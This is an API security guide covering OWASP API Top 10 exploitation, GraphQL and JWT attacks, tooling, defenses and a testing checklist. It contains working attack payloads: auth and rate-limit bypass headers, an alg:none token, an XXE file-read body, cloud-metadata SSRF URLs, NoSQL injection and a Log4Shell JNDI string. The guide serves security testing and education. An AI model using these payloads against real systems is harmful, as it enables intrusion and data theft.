Comprehensive API Security Guide

A practitioner’s reference for API security — attack surface, OWASP API Top 10 exploitation, authentication and authorization bypasses, GraphQL-specific attacks, rate limit evasion, real-world chains, and detection/prevention. Compiled from 30 research sources.


Table of Contents

  1. Fundamentals
  2. API Styles: REST vs GraphQL vs gRPC vs SOAP
  3. API Recon & Attack Surface Discovery
  4. OWASP API Security Top 10 (2023)
  5. BOLA / IDOR Deep Dive
  6. Broken Authentication & Token Attacks
  7. BOPLA: Mass Assignment & Excessive Data Exposure
  8. Broken Function Level Authorization (BFLA)
  9. Unrestricted Resource Consumption & Rate Limit Bypasses
  10. Business Flow Abuse
  11. SSRF in APIs
  12. Security Misconfiguration & Improper Inventory
  13. Unsafe Consumption of Third-Party APIs
  14. GraphQL-Specific Attacks
  15. JWT & OAuth 2.0 Exploitation
  16. Injection in APIs
  17. Real-World CVEs & Breach Chains
  18. Tools & Automation
  19. Detection & Prevention
  20. Testing Checklist

1. Fundamentals

APIs now account for ~83% of web traffic. The average cost of an API breach is $4.88M (T-Mobile 2023, 37M users affected). Unlike traditional web apps, APIs expose more endpoints, lack a constraining UI, and are often protected by weaker compensating controls because developers assume machine-to-machine trust.

Why APIs fail differently from web apps:

FactorWeb AppAPI
UI constrains inputYesNo — any parameter can be sent
DiscoveryCrawl HTMLRequires schemas / JS parsing / brute-force
Auth modelSessions + CSRF tokensBearer tokens, API keys, mTLS
Object referencesIndirectDirect IDs in URLs (/api/users/123)
Rate limitingPer-session/browserPer-token, frequently absent
StateServer-sideOften stateless — each request fully authz’d
Error visibilityHiddenVerbose by design

Impact spectrum: Information disclosure → horizontal privilege escalation → vertical privilege escalation → data exfiltration → account takeover → financial fraud → full tenant compromise.


2. API Styles: REST vs GraphQL vs gRPC vs SOAP

FeatureRESTGraphQLgRPCSOAP
TransportHTTP/1.1+, JSONHTTP POST, JSONHTTP/2, ProtobufHTTP, XML
DiscoveryOpenAPI/SwaggerIntrospection.proto reflectionWSDL
Endpoint modelResource per URLSingle /graphqlService/methodSingle /service
VersioningURL or headerSchema evolutionBackward-compat protosNamespace
Typical bugsBOLA, BFLA, mass assignIntrospection, batching, depth DoSReflection exposed, missing authXXE, wrapping, WSDL leak
Rate-limit quirksPath-basedAlias/batch bypassStreaming bypassPer-envelope
FuzzingSwagger replayQuery mutationProtoc + grpcurlSOAPUI

Quick fingerprinting

# REST/Swagger
/openapi.json  /swagger.json  /swagger/index.html  /api-docs  /v1/api-docs
/actuator/mappings  /routes  /api/v1  /api

# GraphQL
/graphql  /api/graphql  /graphql/api  /v1/graphql  /query  /gql
Probe: query={__typename}

# gRPC-Web
Content-Type: application/grpc-web+proto
Service reflection: grpcurl -plaintext host:443 list

# SOAP
?wsdl  /services/  /ws/  Content-Type: text/xml; action:"..."

3. API Recon & Attack Surface Discovery

Documentation discovery paths

PathTech
/swagger/index.html, /swagger-ui.htmlSwagger UI
/openapi.json, /v3/api-docsOpenAPI 3 / Springfox
/api-docs, /api/docsGeneric
/actuator/*Spring Boot — /env, /heapdump, /mappings
/graphql, /playground, /altairGraphQL
/swagger-resourcesSwagger config
/routes, /rails/info/routesRails
/_debug_toolbar__/, /__debug__/Django/Flask

Hidden endpoint mining

  • Walk JavaScript bundles — LinkFinder, JSMiner, secretfinder
  • Grep for fetch("/api/, axios.get("/v1/, .ajax({url:
  • Param Miner (Burp BApp) — up to 65k param names per request
  • Content Discovery / ffuf with api-endpoints.txt, common-api-params.txt
  • Google dorks: inurl:swagger.json site:target.com, inurl:api/v1 filetype:json
  • waybackurls, gau, katana for historical endpoints (deprecated versions often still live)
  • Mobile apps: decompile APK, grep smali/strings for URLs and API keys

HTTP methods enumeration

Enumerate every endpoint with OPTIONS, GET, POST, PUT, PATCH, DELETE, HEAD, TRACE. Admin-only mutations are frequently reachable with POST removed from docs but alive.

HTTP verbs to cycle: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD, TRACE, CONNECT
Content types to flip: application/json, application/xml, application/x-www-form-urlencoded,
                        text/xml, multipart/form-data, application/yaml, text/plain

Version enumeration

Downgrade checks — /api/v1/ often lacks fixes shipped to /api/v3/. Try:

/api/v1/users  /api/v2/users  /api/v3/users
/api/beta/users  /api/internal/users  /api/private/users
/api/dev/users  /api/staging/users
X-API-Version: 1
Accept: application/vnd.company.v1+json

4. OWASP API Security Top 10 (2023)

IDNameShort descriptionPrimary control
API1Broken Object Level AuthorizationClient-supplied ID trusted without ownership checkPer-request object authz middleware
API2Broken AuthenticationWeak tokens, improper session/token validationShort-lived tokens, MFA, rotation
API3Broken Object Property Level AuthorizationEDE + mass assignment at field levelField allowlist / schema projection
API4Unrestricted Resource ConsumptionCPU/memory/cost exhaustionQuotas, depth limits, timeouts, budgets
API5Broken Function Level AuthorizationRole boundary not enforced per functionRBAC/ABAC, route isolation
API6Unrestricted Access to Sensitive Business FlowsLegit endpoint abused at scaleStep tokens, velocity rules, async queues
API7Server-Side Request ForgeryUnvalidated outbound fetchURL allowlist, private-range denylist, IMDSv2
API8Security MisconfigurationDefault creds, verbose errors, CORS wildcardsHardened baselines, IaC checks
API9Improper Inventory ManagementShadow/zombie APIs, old versions aliveSchema-traffic diff, deprecation gates
API10Unsafe Consumption of APIsTrusting third-party responsesValidate responses, mTLS, kill-switch

2019 → 2023 category changes

20192023Reason
API3 Excessive Data Exposure + API6 Mass AssignmentAPI3 BOPLABoth are field-level auth failures
API4 Lack of Resources & Rate LimitingAPI4 Unrestricted Resource ConsumptionBroadens to CPU/memory/downstream cost
API6 Unrestricted Business FlowsNew — business logic abuse
API7 SSRFPromoted to top-level — cloud metadata risk
API10 Insufficient LoggingAPI10 Unsafe ConsumptionSupply chain trust

5. BOLA / IDOR Deep Dive

BOLA tops the list because it is easy to exploit (just swap an ID), hard to detect (stateful; scanners without auth context miss it), and bypasses traditional defenses (WAFs cannot know your ownership model). In the Wallarm Q2 2025 ThreatStats report, BOLA accounted for the majority of API-related Known Exploited Vulnerabilities.

Injection points

LocationExample
URL pathGET /api/users/123/orders
Query stringGET /api/orders?id=123
Request body{"order_id": 123}
HeaderX-User-Id: 123, X-Account-Id: abc
JWT claim (unsigned portion)sub, tenant_id — server trusts without re-check
Nested object reference{"user": {"id": 123}}
GraphQL variablequery { product(id: 3) { ... } }

Exploitation patterns

# Horizontal (swap to peer tenant/user)
GET /api/v1/users/12345/invoices  →  GET /api/v1/users/12346/invoices

# Null / type confusion
GET /api/v1/users/null/documents
GET /api/v1/users/0/documents
GET /api/v1/users/[]/documents
GET /api/v1/users/12345%00/documents

# Wildcard
GET /api/v1/users/*/documents

# Case sensitivity / encoding
GET /api/v1/Users/12346   (vs Users)
GET /api/v1/users/12%334  (URL-encoded 3)

# Wrap in array (JSON parser promotion)
{"user_id": [12346, 12345]}

# HTTP method swap
GET /api/orders/123 → 200
PUT /api/orders/123 → 200 (missing auth on write)
DELETE /api/orders/123 → 204

# Version downgrade
/api/v1/users/{id}  (no auth)   vs  /api/v2/users/{id}  (fixed)

Real-world BOLA

TargetImpact
Peloton (2021)All account profiles readable via user_id swap
Sapphos dating app (2025)Names, birthdates, ID verification selfies exposed; app shut down
USPS Informed Visibility (2018)60M accounts exposed
T-Mobile (2023)37M records via API

Detection checklist

  • Every object reference (IDs, GUIDs, slugs, emails) swapped cross-tenant → must 403/404
  • Sequential enumeration across known endpoints
  • Test with no auth, low-privilege token, peer token, admin token
  • Try expired/deleted/soft-deleted objects — often still readable
  • Check all representations: int, string, array, object, null
  • Test nested relationships (/orders/{id}/items/{item_id} — item_id often unchecked)

6. Broken Authentication & Token Attacks

Token types and common failures

TypeCommon failure
API key (static)Leaked in GitHub/JS/mobile app; no rotation; no scope
Basic authReused password; base64 isn’t encryption
Session cookieCSRF, session fixation, not HttpOnly
JWTalg:none, weak HMAC, key confusion, missing exp
OAuth 2.0 access tokenOver-scoped, long-lived, bearer everywhere
mTLS certWeak CA, no revocation, wildcard CN
HMAC request signingReplayable without nonce/timestamp

Auth bypass techniques

# Header injection bypass
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
X-User-Id: 1  (trusted by backend behind gateway)

# Path confusion
GET /admin/users  → 403
GET /admin/../admin/users  → 200
GET //admin/users
GET /admin%2fusers
GET /admin;.json

# Case / trailing slash
GET /Admin/users  → bypasses lowercased-only regex
GET /admin/users/  vs /admin/users

# HTTP method override
POST /api/admin/users
X-HTTP-Method-Override: PUT
_method=DELETE (Rails)

Brute-force and credential stuffing

  • Login endpoints with no CAPTCHA / no velocity checks
  • Password reset enumeration — different response for existing vs non-existing email
  • MFA bypass: resend endpoint without throttling, skip step by replaying pre-MFA token
  • OTP race conditions
  • Password reset token guessable / returned in response / logged server-side

7. BOPLA: Mass Assignment & Excessive Data Exposure

Excessive Data Exposure (response-side)

API returns full DB object; client filters. Attackers read fields not shown in UI.

GET /api/users/me
{
  "id": 123,
  "name": "alice",
  "email": "alice@example.com",
  "password_hash": "$2b$...",     ← leaked
  "reset_token": "abc123",         ← leaked
  "is_admin": false,
  "stripe_customer_id": "cus_...", ← leaked
  "ssn": "***-**-1234",            ← leaked
  "internal_notes": "VIP"          ← leaked
}

Test: Intercept every response. Diff against what the UI displays. Any extra field = finding.

Mass Assignment (request-side)

Framework auto-binds request body to model. Attacker adds extra fields.

PATCH /api/users/me
{
  "email": "new@example.com",
  "is_admin": true,          ← mass assign privilege
  "email_verified": true,    ← bypass verification
  "balance": 9999999,        ← tamper state
  "role": "admin",
  "tenant_id": 1             ← cross-tenant
}

Framework-specific binders:

FrameworkBinderSafe mechanism
RailsUser.update(params[:user])strong_parameters, permit(...)
Django RESTModelSerializerfields = [...] explicit
Spring@ModelAttribute@JsonIgnore, DTO projection
.NETModel binding[Bind(Include="...")], view models
Express/Mongoosenew User(req.body)Schema-level select: false
Laravel$user->fill($request->all())$fillable / $guarded

Hidden field discovery

  1. GET /api/users/123 → note every returned field
  2. Try each field name in PATCH /api/users/me body
  3. Look for 200 vs 400 behavior difference
  4. Confirm with boolean-flag test: set is_admin: "foo" — if behavior differs from is_admin: true, field is bound

8. Broken Function Level Authorization (BFLA)

BFLA is privilege role escalation: user A can call endpoints that should be admin-only. Different from BOLA (which is object-level).

Test matrix

For each endpoint, run: anonymous, low-priv, peer, admin. Any endpoint that should return 403 but returns 200 for low-priv is a finding.

Common patterns

# Hidden admin path
POST /api/users         (any)
POST /api/admin/users   (admin)  ← try as low-priv

# Method swap
GET /api/users/123        (any)
DELETE /api/users/123     (admin)  ← try as low-priv

# Role param injection
POST /api/signup
{"email": "...", "password": "...", "role": "admin"}

# Trusted header from gateway
X-User-Role: admin
X-Is-Admin: true
X-Roles: ["admin","user"]

9. Unrestricted Resource Consumption & Rate Limit Bypasses

Classic resource attacks

AttackVector
Requests/sec floodLogin, search, export endpoints
Large payload100MB JSON, deeply nested objects
Expensive query?limit=100000, unfiltered joins
Regex catastrophic backtrackingReDoS in email/phone validators
Memory bombsBillion-laughs XML, zip bombs on upload
Downstream call amplificationOne API call triggers N backend calls
Email/SMS quotasUnrate-limited forgot-password / OTP endpoints ($$$)

Rate limit bypasses

# IP rotation headers (WAF / gateway trusts)
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Host: attacker.com
Forwarded: for=1.2.3.4
CF-Connecting-IP: 1.2.3.4

# Case / trailing slash (limit keyed on exact path)
/api/login  vs  /api/Login  vs  /api/login/

# Parameter padding (cache-key confusion)
/api/login?x=1  /api/login?x=2  /api/login?x=3

# Multiple accounts
Register N accounts, rotate tokens

# HTTP/2 rapid reset (CVE-2023-44487)
Abuse HTTP/2 stream reset for amplification

# GraphQL alias batching
query {
  a1: login(u:"admin", p:"pass1") { token }
  a2: login(u:"admin", p:"pass2") { token }
  ...
  a1000: login(u:"admin", p:"pass1000") { token }
}

Rate limit detection

Look for absence of X-RateLimit-Remaining, Retry-After, 429. Test each endpoint independently — per-endpoint limits often missing while global limits exist.


10. Business Flow Abuse

Legitimate endpoints, abused at scale. WAFs don’t catch because every request is “valid.”

FlowAbuse
Checkout / ticket purchaseScalping, inventory hoarding
Gift card redemptionBrute-force codes
Referral bonusesSybil farming
Loyalty pointsAutomated accrual
Review/ratingFake reviews
Forgot passwordAccount enumeration, email bombing
Discount code applicationStacking, brute-force
Account signupBot registration
Content scrapingData exfiltration

Defenses

  • Step tokens (HMAC over flow state) — binds cart → checkout
  • Velocity rules per user/device/ASN
  • Idempotency keys on mutating endpoints
  • Expose async jobs for bulk ops (with review) instead of sync endpoints
  • Device fingerprinting + behavior analytics

11. SSRF in APIs

API7 in the 2023 list. APIs are a rich SSRF surface because they frequently accept webhooks, avatar URLs, PDF/HTML rendering URLs, and OAuth/OIDC configuration URLs.

API-specific SSRF sinks

Endpoint typeParameter
Webhook registrationcallback_url, notification_url, target
Avatar/logo uploadimage_url, profile_picture
URL preview / link unfurlurl, link
OpenID Connect discoveryissuer, .well-known/openid-configuration URL
SAML metadatametadata_url
OAuth client registrationredirect_uri, jwks_uri
Document/PDF generationhtml_url, template_url
RSS / import feedsfeed_url
File import from URLsource_url

Cloud metadata quick hits

AWS IMDSv1:  http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2:  requires PUT /api/token first — blocks simple SSRF
GCP:         http://metadata.google.internal/computeMetadata/v1/  (needs Metadata-Flavor: Google)
Azure:       http://169.254.169.254/metadata/instance?api-version=2021-02-01  (needs Metadata:true)
DigitalOcean:http://169.254.169.254/metadata/v1/
Alibaba:     http://100.100.100.200/latest/meta-data/

Mitigation: Enforce IMDSv2 + metadata hop limits = 1. Deny private ranges by default in fetch libraries. Require explicit allowlist of hostnames for outbound fetches.

(See separate SSRF guide for comprehensive bypass techniques.)


12. Security Misconfiguration & Improper Inventory

Misconfig hitlist

# CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true   ← dangerous combo
Access-Control-Allow-Origin: null         ← bypasses with sandboxed iframe
Origin reflection without allowlist

# Verbose errors
Stack traces, SQL queries, file paths, internal hostnames
Swagger/GraphQL introspection in production

# Headers missing
Strict-Transport-Security
Content-Security-Policy
X-Content-Type-Options: nosniff
Cache-Control: no-store (for PII responses)

# Default credentials
admin:admin, actuator:actuator, tomcat:tomcat

# Debug endpoints
/actuator/env, /actuator/heapdump, /actuator/gateway/routes
/_debug, /__debug__, /debug/pprof
/swagger, /graphql-playground in prod

Real-world misconfig examples

  • SVR Tracking (2017): Misconfigured API exposed 500k tracking devices
  • FleetSecure (2024): X-Api-Version header injected JNDI lookup → RCE
  • Spring Boot Actuator: /env leaks secrets, /heapdump dumps memory, /jolokia + JMX → RCE

Improper Inventory (API9) — shadow and zombie APIs

ProblemExample
Shadow APIUndocumented /internal/* reachable externally
Zombie API/api/v1/ deprecated but still running without fixes
Staging bleeddev.api.example.com with prod data
Test hosts in prod/api/test/, /api/sandbox/
Forgotten regionsus-west-2 copy without the patches deployed to us-east-1

Defense: Diff OpenAPI spec ↔ observed traffic nightly. Block calls to non-owned subdomains. Alert on auth-less endpoints receiving PII. Gate merges on schema deprecation plans.


13. Unsafe Consumption of Third-Party APIs

Trust boundary doesn’t end at your own gateway. Vendor responses are untrusted input.

Failure modes:

  • Vendor returns HTML/script injected in a string field → stored XSS in your UI
  • Vendor returns unexpected status code → exception handling reveals internals
  • Vendor redirect → SSRF in your follow-up fetch
  • Vendor response not schema-validated → type confusion
  • Vendor breach → stolen API key used to query your backend

Controls:

ControlWhy
mTLS to partnersPrevents impersonation
Strict JSON schema on responsesBlocks drift, injection
Egress allowlistStops lateral movement
Separate outbound queue per vendorIsolates cascading failure
Kill-switch per integrationRevoke compromised vendor instantly
Key rotation ≤ 90 daysLimits leaked-key blast radius
Separate egress IP per partnerAttribution

14. GraphQL-Specific Attacks

Endpoint discovery

Common paths: /graphql  /api/graphql  /graphql/api  /v1/graphql  /query  /gql
Universal probe: {__typename}  → returns {"data":{"__typename":"query"}}

Try POST application/json, then GET with ?query=, then POST x-www-form-urlencoded (CSRFable).

Introspection attack

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types { ...FullType }
  }
}

If blocked, try bypasses:

# Newline between keyword and brace (naive regex bypass)
{"query": "query{__schema\n{queryType{name}}}"}

# Method swap — often POST blocked, GET allowed
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D

# Content-type swap
Content-Type: application/x-www-form-urlencoded
query=query{__schema{queryType{name}}}

Clairvoyance (suggestion-based schema recovery)

Apollo returns Did you mean 'productInformation'? on typos. Tool: Clairvoyance recovers schema even with introspection disabled.

Alias-based rate limit bypass

Single HTTP request, N operations:

query bruteDiscount {
  c1: checkCode(code: "ABC001") { valid }
  c2: checkCode(code: "ABC002") { valid }
  c3: checkCode(code: "ABC003") { valid }
  ...
  c1000: checkCode(code: "ABC1000") { valid }
}

Also used for login brute force, OTP brute force, email enumeration.

Batching bypass

[
  {"query": "mutation { login(u:\"a\", p:\"p1\") { token } }"},
  {"query": "mutation { login(u:\"a\", p:\"p2\") { token } }"},
  ...
]

Query depth / field duplication DoS

query {
  user {
    posts {
      author {
        posts {
          author {
            posts { ... recursive ... }
          }
        }
      }
    }
  }
}

Unbounded recursion crushes resolvers. Mitigations: graphql-depth-limit, graphql-cost-analysis, persisted queries.

GraphQL CSRF

If endpoint accepts GET or x-www-form-urlencoded POST, state-changing mutations become CSRFable. Must force application/json content-type and reject everything else.

IDOR via direct argument

query { product(id: 3) { name, listed } }   # Gets delisted product
query { user(id: 1) { email, apiKey } }     # Gets other user

GraphQL attack tools

  • InQL (Burp) — schema parsing, query generation, point-and-click mutation testing
  • GraphQL Cop — misconfiguration scanner
  • GraphQL Voyager — schema visualizer
  • Clairvoyance — schema recovery from suggestions
  • BatchQL — batch/aliasing tests
  • GraphW00F — GraphQL fingerprinting

15. JWT & OAuth 2.0 Exploitation

JWT attack table

AttackPayload/Trigger
alg: noneSet header {"alg":"none"}, strip signature
Algorithm confusionChange RS256HS256, sign with public key as HMAC secret
Weak HMAC secretCrack with hashcat -m 16500 (wordlists: jwt.secrets.list)
kid path traversal"kid": "../../../../dev/null" + empty sig
kid SQL injection"kid": "key1' UNION SELECT 'secret"
jku / x5u headerPoint to attacker-controlled JWKS
Expired token acceptedNo exp validation
nbf bypassFuture nbf still accepted
aud/iss not validatedCross-service token reuse
Null signatureheader.payload. (empty third segment)
JWT in unusual location?token=, header, cookie — backend parses all
# alg:none example
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Tools: jwt_tool, jwt-cracker, hashcat -m 16500

OAuth 2.0 attacks

AttackDescription
redirect_uri open redirectExact match not enforced — steal code
redirect_uri path appendhttps://legit.com/cb/../../attacker
Implicit flow token leakReferer header leak
Missing PKCECode interception on mobile
Missing state paramCSRF — account linking
Scope escalationRequest admin scope, server grants
Mix-up attackConfuse client between two IdPs
Cross-site leaks via postMessageMissing origin check
response_type=token id_token without nonceReplay
Authorization code reuseServer doesn’t invalidate on first use
Account hijack via email verificationPre-register victim email before they do

OIDC-specific

  • jwks_uri SSRF
  • issuer injection
  • Unvalidated id_token signature
  • aud claim = wrong client_id

16. Injection in APIs

APIs are injection-rich because they forward raw JSON into backends. Classic injection categories all apply:

TypeExample
SQLi{"filter": "1 OR 1=1"} in search endpoints
NoSQL injection{"username": {"$ne": null}, "password": {"$ne": null}}
Command injectionFilename fields forwarded to shell
SSTITemplate engines rendering user input
XXEXML body with external entity
XPath injectionXPath query builders
LDAP injectionDirectory lookup APIs
Log4Shell${jndi:ldap://attacker} in any logged header (User-Agent, X-Api-Version, Referer)
Header injection / CRLF\r\n into response headers
Server-Side Parameter Pollutionq=normal&q=../../admin — internal API sees both

Content-Type flipping

APIs often secure JSON but unsafe for XML:

POST /api/user
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

17. Real-World CVEs & Breach Chains

YearTargetBugImpact
2018USPS Informed VisibilityBOLA on user_id60M accounts exposed
2018FacebookToken theft via View-As50M accounts
2019Capital OneSSRF → IMDS → S3100M+ records
2020Shopify ExchangeSSRF → root containerRCE
2021PelotonBOLA on profile endpointAll user data
2021John DeereBOLA + BFLAEntire farm equipment fleet
2021ExperianBroken auth on /lookupTokenFull credit file lookup
2022OptusUnauth API endpoint10M customer records
2023T-MobileBOLA / misconfig37M records
2023TwitterEDE on find_by_email200M emails scraped
2024FleetSecureLog4Shell via X-Api-VersionRCE
2025Sapphos datingBOLAApp shut down

Chain patterns

BOLA → PII disclosure → phishing → ATO
Mass assignment → privilege escalation → admin API → full tenant takeover
SSRF → cloud metadata → IAM credentials → S3 exfil → ransomware
Introspection leak → hidden mutation → BFLA → admin takeover
Broken auth on reset → email hijack → OAuth account linking → SSO ATO
Shadow API /v1 → no rate limit → brute force → ATO
GraphQL alias batching → login brute → ATO

18. Tools & Automation

Proxies & interception

ToolStrength
Burp Suite ProRepeater, Intruder, Scanner, ecosystem of BApps
CaidoModern alternative, workflow automation
OWASP ZAPFree, scriptable, CI-friendly
mitmproxyScriptable Python addons, mobile traffic

Key Burp BApps for API testing

  • Autorize — automatic BFLA/BOLA detection via two-session diff
  • AuthMatrix — manual matrix auth testing
  • InQL — GraphQL scanner
  • JWT Editor — sign/unsign/tamper tokens
  • Param Miner — hidden parameter discovery
  • JS Link Finder — extract endpoints from JS
  • OpenAPI Parser — import Swagger into Burp
  • Content Type Converter — JSON ↔ XML flipping
  • Logger++ — advanced request logging

Standalone / CLI

ToolUse
Postman / NewmanCollection-driven testing, scripting
ffufEndpoint / parameter fuzzing
kiterunnerAPI-aware content discovery (kr scan)
arjunHidden parameter discovery
jwt_toolJWT attack automation
sqlmapSQLi in JSON bodies (--data + * markers)
GraphQL CopMisconfig scanner
ClairvoyanceGraphQL schema recovery
InQL CLIGraphQL scanning headless
grpcurlgRPC reflection and calls
NucleiTemplate-driven vuln scanning (API templates)
AktoOSS API discovery + testing
APIsec.ai / Salt / NonameEnterprise API security platforms
RESTlerMicrosoft’s stateful REST fuzzer
SchemathesisProperty-based testing from OpenAPI
fuzzapiAPI fuzzer
Bright (formerly NeuraLegion)Dev-first DAST with API coverage

REST fuzzing research

Academic work (Microsoft RESTler, follow-ups) adds access policy violation checks and injection attack detection on top of stateful REST fuzzing. Key insight: sequences of API calls expose bugs single-request fuzzers miss, because state changes unlock hidden code paths.


19. Detection & Prevention

Design-time controls

  • Schema-first development — OpenAPI/GraphQL schema is source of truth; code generated or validated against it
  • DTO projection — never bind request body directly to DB model
  • Explicit field allowlists on every write path
  • Centralized authz middleware — never hand-roll per endpoint
  • Attribute-based access control (ABAC) — resource + subject + action + context
  • Deny-by-default egress — allowlist outbound hosts
  • Rate limits on every endpoint, not just global

Gateway / runtime controls

ControlPurpose
OAuth 2.0 + short-lived JWT (≤15 min)Limit token blast radius
mTLS for service-to-servicePrevent impersonation
Per-endpoint quotas (req/min, bytes, CPU)API4 defense
Request size limitsMemory DoS
JSON depth limitsParser DoS
Query complexity analysis (GraphQL)Depth/cost DoS
IMDSv2 + hop limit 1SSRF defense
Private range denylist in HTTP clientSSRF defense
CORS allowlist (never * with credentials)Misconfig
Strong CSP, HSTS, X-Content-Type-OptionsMisconfig

Detection / monitoring

  • Unusual enumeration patterns — many 404s or sequential IDs from one token → BOLA probing
  • Response size anomaly — token suddenly returning 10× data → BOPLA abuse
  • Auth failure spike → credential stuffing
  • New endpoints not in spec → shadow API
  • 5xx spike → fuzzing in progress
  • Unusual method usage → method override probing
  • High-cost query → GraphQL depth abuse
  • Token reused across IPs → stolen credential

CI/CD gates

TestGate
Swap object ID cross-tenant → expect 403API1
Expired/invalid token → expect 401API2
Mass assign hidden field isAdmin:trueAPI3
k6 load test p95 < thresholdAPI4
Non-admin calls admin fn → 403API5
Rapid checkout replay → 429API6
Private-IP webhook URL → 400API7
Debug endpoints → 404 in prodAPI8
Unknown routes in traffic vs spec → alertAPI9
Third-party schema drift → failAPI10

SAST/DAST signal sources

  • SAST: flag User.update(params[:user]), new User(req.body), missing @JsonIgnore, any ?redirect= sink
  • DAST: schema replay, authz diff between roles, fuzz hidden params, method cycling
  • IAST: catch ownership-check omissions at runtime
  • API discovery: correlate actual traffic against OpenAPI spec

20. Testing Checklist

Recon

  • Fetch /openapi.json, /swagger.json, /v3/api-docs, /api-docs
  • Fingerprint GraphQL at common paths with {__typename}
  • Extract endpoints from JS bundles (LinkFinder)
  • Walk JS for hardcoded URLs, tokens, API keys
  • waybackurls + gau for historical endpoints
  • Check /actuator/*, /_debug, /debug/pprof
  • Enumerate API versions: /api/v1..v5, /api/internal, /api/beta
  • Mobile app: decompile, grep for endpoints
  • Check for Swagger UI / GraphQL Playground in prod

Authentication (API2)

  • Try no auth on every endpoint
  • Try expired token
  • Try another user’s token
  • Try modified JWT (alg:none, algorithm confusion)
  • Crack weak HMAC secrets
  • Test kid header tampering
  • Password reset token leakage / predictability
  • MFA bypass via direct endpoint
  • OAuth redirect_uri manipulation
  • OAuth state/nonce missing

BOLA (API1)

  • Swap every object ID in path, query, body, header
  • Try cross-tenant IDs
  • Try sequential enumeration
  • Try deleted object IDs
  • Try null/array/object type confusion
  • Test nested references
  • Check old API versions for missing checks

BOPLA (API3)

  • Diff API response against UI display for hidden fields
  • Enumerate fields via GET then try in PATCH/PUT
  • Try is_admin, role, verified, balance, tenant_id
  • Try boolean/string type confusion on privilege fields
  • Check nested object mass assignment

Resource consumption (API4)

  • Send oversized payload (>100MB)
  • Deeply nested JSON (1000 levels)
  • Unbounded pagination (?limit=999999)
  • Absent rate limiting per endpoint
  • GraphQL alias batching
  • Unbounded file upload

BFLA (API5)

  • Call admin endpoints as low-priv user
  • Method swap (GET→DELETE, GET→PUT)
  • Try X-User-Role: admin trusted header
  • Register with role: admin in body

Business flow (API6)

  • Replay checkout / redeem endpoints
  • Brute-force discount codes
  • Coupon stacking
  • Referral abuse

SSRF (API7)

  • Every webhook/URL field → try http://169.254.169.254/...
  • Private ranges, localhost, IPv6, DNS rebinding
  • OIDC jwks_uri, SAML metadata_url
  • PDF/HTML rendering endpoints

Misconfig (API8)

  • CORS: origin reflection, null origin, credentials + wildcard
  • Verbose errors / stack traces
  • Missing security headers
  • Default credentials
  • Debug endpoints exposed

Inventory (API9)

  • Shadow endpoints not in docs
  • Deprecated v1 still live
  • Staging domains with prod data

Unsafe consumption (API10)

  • Does backend validate third-party responses?
  • Can I poison a response (e.g. DNS) to inject?

GraphQL-specific

  • Introspection enabled?
  • Bypass with newline/method swap
  • Suggestions enabled (Clairvoyance)?
  • Alias batching for rate bypass?
  • Query batching?
  • Depth limits enforced?
  • Cost analysis?
  • CSRF via GET / form-encoded POST?
  • IDOR via direct arguments?

Injection

  • SQLi in JSON fields (sqlmap with * markers)
  • NoSQL operator injection ({$ne: null})
  • Command injection in filename/path fields
  • SSTI in template fields
  • XXE via content-type flip
  • Log4Shell in User-Agent, Referer, X-Forwarded-For, custom headers
  • CRLF injection in header reflection

Appendix A: Quick Payload Reference

BOLA test payloads

/api/users/1  /api/users/2  /api/users/0  /api/users/-1
/api/users/null  /api/users/%00  /api/users/[]
/api/users/1/../2  /api/users/1%2f..%2f2

Mass assignment field dictionary

is_admin  isAdmin  admin  role  roles  permissions  scopes
verified  email_verified  is_active  is_staff  is_superuser
balance  credit  points  tokens
tenant_id  organization_id  account_id  owner_id
created_by  updated_by  deleted  deleted_at
password_hash  api_key  secret  token  refresh_token

Rate limit bypass headers

X-Forwarded-For, X-Real-IP, X-Client-IP, X-Originating-IP,
X-Remote-IP, X-Remote-Addr, X-Host, X-Forwarded-Host,
CF-Connecting-IP, True-Client-IP, Forwarded, Via

Auth bypass headers

X-Original-URL, X-Rewrite-URL, X-Override-URL
X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override
X-User-Id, X-User, X-Roles, X-Role, X-Is-Admin
X-Authenticated-User, X-Auth-User, X-Forwarded-User

GraphQL universal probe

{"query": "{__typename}"}

GraphQL introspection bypass

{"query": "query{__schema\n{queryType{name}}}"}

JWT alg:none

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.

Appendix B: Framework Quick Notes

FrameworkMass assign safeCommon pitfall
Railsstrong_parameterspermit! or missing permit
Django RESTModelSerializer.Meta.fields = [...]fields = '__all__'
SpringDTO + @JsonIgnore@ModelAttribute on entity
Express + MongooseSchema select: falsenew Model(req.body)
Laravel$fillableempty $fillable, uses $guarded = []
.NET CoreView model binding[FromBody] Entity directly
FastAPIPydantic modelsExtra fields allowed by default
GoExplicit struct tagsjson.Unmarshal to DB struct

Appendix C: Further Reading

  • OWASP API Security Top 10 2023 — https://owasp.org/API-Security/
  • PortSwigger Web Security Academy: API testing, GraphQL
  • Wallarm API ThreatStats (quarterly)
  • APIsec University (free labs)
  • HackerOne Hacktivity: filter by API weakness
  • VAmPI, crAPI, DVGA — intentionally vulnerable API labs
  • Books: “Hacking APIs” (Corey Ball), “Black Hat GraphQL”

Defensive security reference. Compiled for practitioner use in red-team / blue-team / developer education contexts.